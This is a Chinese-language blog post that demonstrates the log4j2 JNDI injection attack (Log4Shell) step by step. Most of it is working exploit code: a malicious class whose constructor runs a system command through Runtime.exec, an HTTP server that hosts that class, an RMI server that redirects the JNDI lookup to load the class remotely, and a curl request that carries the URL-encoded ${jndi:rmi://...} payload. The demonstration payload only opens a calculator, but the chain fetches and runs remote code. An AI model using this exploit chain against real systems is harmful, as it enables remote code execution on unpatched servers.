← Back to list

log4j2+jndi注入远程类攻击原理

Published on: | Views: 141

原理

log4j2在版本2.x-2.15范围内,启用了jndi查找操作,提供了注入点 将jndi指向自己的rmi或者ldap服务器,指定动态加载自己的类,即可实现攻击。

环境

ubuntu 18.04 jdk1.8_121 log4j2 2.11.1

模拟攻击类

简单打开一个计算器

public class AttackClass implements ObjectFactory {

    public AttackClass() {
        System.out.println("----AttackClass----constructor");
        try {
            Process process = Runtime.getRuntime().exec("gnome-calculator");
            process.waitFor();
        } catch (Exception e) {

        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

注意为了方便这个类没有包名,编译一下:

javac AttackClass.java

生成AttackClass.class

攻击类下载服务

创建一个spring boot程序,修改端口为8888, 将AttackClass.class放到resource/static/目录下面 这样就可以通过http://localhost:8888/AttackClass.class 直接下载到类文件了。

在这个服务里也简单提供一个攻击入口: 引入log4j2的包: compile('org.apache.logging.log4j:log4j-slf4j-impl:2.11.0') 增加测试入口:

    @GetMapping("/test1")
    public String test1(String username) {
        log.error("{}", username);
        return "";
    }

因为jdk版本为1.8_121,所以需要增加服务启动参数:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

rmi 服务端

public class RmiServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("RMI启动,监听:1099 端口");
        Reference reference = new Reference("AttackClass", "AttackClass", "http://localhost:8888/");
        registry.bind("hello", new ReferenceWrapper(reference));
        Thread.currentThread().join();
    }
}

注意上面的路径问题,意思是在http://localhost:8888/目录下搜索AttackClass类

测试

构造攻击参数: ${jndi:rmi://localhost:1099/hello} urlencode之后请求接口,触发log4j的日志

curl http://localhost:8888/test1?username=%24%7Bjndi%3Armi%3A%2F%2F192.168.1.26%3A1099%2Fhello%7D